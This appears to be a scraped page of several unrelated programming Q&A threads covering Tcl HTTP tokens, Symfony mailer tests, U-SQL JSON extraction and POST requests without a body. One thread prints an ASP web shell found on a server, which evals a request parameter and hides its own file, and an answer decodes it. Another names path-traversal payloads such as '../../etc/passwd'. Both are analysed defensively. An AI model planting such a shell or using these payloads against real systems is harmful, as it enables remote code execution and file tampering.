About the ::http::geturl token usage - http

I am learning TCL for my work and I have a question that I can not find the answer.
It concerns the usage of ::http::geturl token.
Let's consider the following code:
package require http
set url "some url"
set token [::http::geturl $url]
# the question is about the line below
upvar #0 $token state
set data $state(body)
If I'm not doing a mistake, the use of upvar here is just creating an alias state referring to token.
I am wondering why is this line always written in any code I can see (even in the TCL documentation)?
To be more clear, is set data $state(body) equivalent to set data $token(body)?
And if it is the case, why do we write this upvar if it is not necessary (and not really useful but making the script heavier)?
On my laptop, I cannot install anything such as tclsh for now, so I could not perform the test to find the answer by myself.
This is why I require your help.
Thanks to anyone who will answer me.

token actually contains a string, something like ::http::1 (the number increments the more calls you make to ::http::geturl), and that string is the name of an array.
So when you do $token(body), you are telling the code to find the value for the key body in the array token, except that this array doesn't exist. The array's actual name is ::http::1 as mentioned earlier. So it's easier to create an alias than to use something like, say, lindex [array get $token body] 1.

Related

Attack via filename passed in url query?

I wrote a small service in go (although I don't think this would be a language specific issue), that caches some results by saving it to a file, and writing a URL query parameter into the filename with "prefix" + param + ".json" using ioutil.WriteFile. The service runs on Ubuntu.
Is it possible to do something malicious, by passing an unexpected string via the query?
Relevant attacks that come to mind are called path injection. For example what if the query parameter is something like ../../etc/passwd (okthis would probably not work as the user running this service would have no permissions, but you get the point). For example it could be possible to overwrite your service code itself.
You should sanitize the parameter before adding it to the filename. The best would be a strict whitelist of letters and numbers that are allowed, anything else should ve removed from the parameter. That way injection would not be possible.
You can also check whether the path you are writing to is actually under an explicitly allowed directory.
I will make a test in python, here is the struct of the project
app1/main.py
while True:
a = input() # passing query
with open("{}.json".format(a), "w") as f:
f.write("Hello world")
now i am a hacker, and i want to change "yourfile.json"
so i passed this
and than, the content of yourfile.json become: Hello world

Symfony PHPUnit integration test not able to check full body text

My use case is simple: I am sending text emails, i am trying to make integrations tests in order to check the full text body of the message, please note I don't want to check if message contain a string, i am looking for format and structure. No fancy check since it is just text.
The current public API, as in documentation, and as I see in code allows me to check only whether the message contains a string assertEmailTextBodyContains().
I did read: https://symfony.com/doc/current/mailer.html#write-a-functional-test, from MailerAssertionsTrait can only get a RawMessage, i tried, but did not get a strait way to wrap it within an Email.
What am I missing?
Is there any technical/non technical issue preventing to have such Constraint implemented?
Something like: assertEmailTextBodySameAs() for example.
Just for the sake of documentation.
After informing my self more, i realise that in my ignorance i was looking for an idiomatic syntax in the MailerAssertionsTrait instead what i needed was just to use the IsIdentical constraint from phpunit.
$this->assertThat($email->getTextBody(), new IsIdentical($expectedText), 'Mail body are not the same');
Why such assertion is not built in in trait i did assume it is just to keep it simple allowing others like me to extend later on easily, it is just an speculation though.

Using U-SQL MultiLevelJsonExtractor gives Error: Path returned multiple tokens

I am using the MultiLevelJsonExtractor forked on Git by kotvisbj, When I put a Path that contains an array (body.header.items[*] or body.header.items) into the JsonPaths parameter string, I get a "Error: Path returned multiple tokens". Is there a way to extract the paths in code so I can get an array like when using the Root? I tried to explain this the best way I could, I don't have excellent c# skills, it's been a few years.
I think it would be best to ask the owner of the branch to see if he can advise you. I assume that his code expects a single token only and not an array of tokens.
You can probably achieve what you need by using code similar to this: U-SQL - Extract data from json-array

VB malware tool reverse-engineering

I have found interesting malware on my server, which did some bad thing.
Now I am trying to reverse-engineering it, but due to complete lack of knowledge of VB\ASP I need to ask your help, colleagues.
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/srerif/*/(tseuqer lave")
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED"))
if f.attributes <> 39 then
f.attributes = 39
end if
%>
As I understood - it executes some command and creates file somewhere with system\hidden attributes.
The main question is - how to use it, i.e. from logs I see, that hacker uploaded this file and used POST to command this. I want to command this too to understand, how he was able to upload files to some folders, which he should be able to do so.
Any advices are welcome. Sample with curl POST would be amazing.
No don't need knowledge in VB to research what that code does; just read the documentation.
MorfiCoder(")/*/srerif/*/(tseuqer lave") returns eval request("firers") (I assume functions like Replace or StrReverse are obvious).
Execute and eval are self-explanatory; the docs for request are here:
The Request object retrieves the values that the client browser passed to the server during an HTTP request.
So, whatever string is in the firers request variable, it will be executed (you said you already know that your attacker used a simply POST to send data to his script).
Set fso=CreateObject("Scripting.FileSystemObject") creates a FileSystemObject Object.
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) creates a File Object; using the path in PATH_TRANSLATED.
Then some attributes (Archive, System, Hidden, ReadOnly) are set on that file object (to hide this script).
Why your attacker was able to upload this file to your server obviously can't be answered by the information you provided, and would also be out of scope of this question and probably off topic to stackoverflow.

Is it considered bad practice to perform HTTP POST without entity body?

I need to invoke a process which doesn't require any input from the user, just a trigger. I plan to use POST /uri without a body to trigger the process. I want to know if this is considered bad from both HTTP and REST perspectives?
I asked this question on the IETF HTTP working group a few months ago. The short answer is: NO, it's not a bad practice (but I suggest reading the thread for more details).
Using a POST instead of a GET is perfectly reasonable, since it also instructs the server (and gateways along the way) not to return a cached response.
POST is completely OK. In difference of GET with POST you are changing the state of the system (most likely your trigger is "doing" something and changing data).
I used POST already without payload and it "feels" OK. One thing you should do when using POST without payload: Pass header Content-Length: 0. I remember problems with some proxies when I api-client didn't pass it.
If you use POST /uri without a body it is something like using a function which does not take an argument .e.g int post (void); so it is reasonable to have function to your resource class which can change the state of an object without having an argument. If you consider to implement the Unix touch function for a URI, is not it be good choice?
Yes, it's OK to send a POST request without a body and instead use query string parameters. But be careful if your parameters contain characters that are not HTTP valid you will have to encode them.
For example if you need to POST 'hello world' to and end point you would have to make it look like this: http://api.com?param=hello%20world
Support for the answers that POST is OK in this case is that in Python's case, the OpenAPI framework "FastAPI" generates a Swagger GUI (see image) that doesn't contain a Body section when a method (see example below) doesn't have a parameter to accept a body.
the method "post_disable_db" just accepts a path parameter "db_name" and doesn't have a 2nd parameter which would imply a mandatory body.
#router.post('/{db_name}/disable',
status_code=HTTP_200_OK,
response_model=ResponseSuccess,
summary='',
description=''
)
async def post_disable_db(db_name: str):
try:
response: ResponseSuccess = Handlers.databases_handler.post_change_db_enabled_state(db_name, False)
except HTTPException as e:
raise (e)
except Exception as e:
logger.exception(f'Changing state of DB to enabled=False failed due to: {e.__repr__()}')
raise HTTPException(HTTP_500_INTERNAL_SERVER_ERROR, detail=e.__repr__())
return response

Resources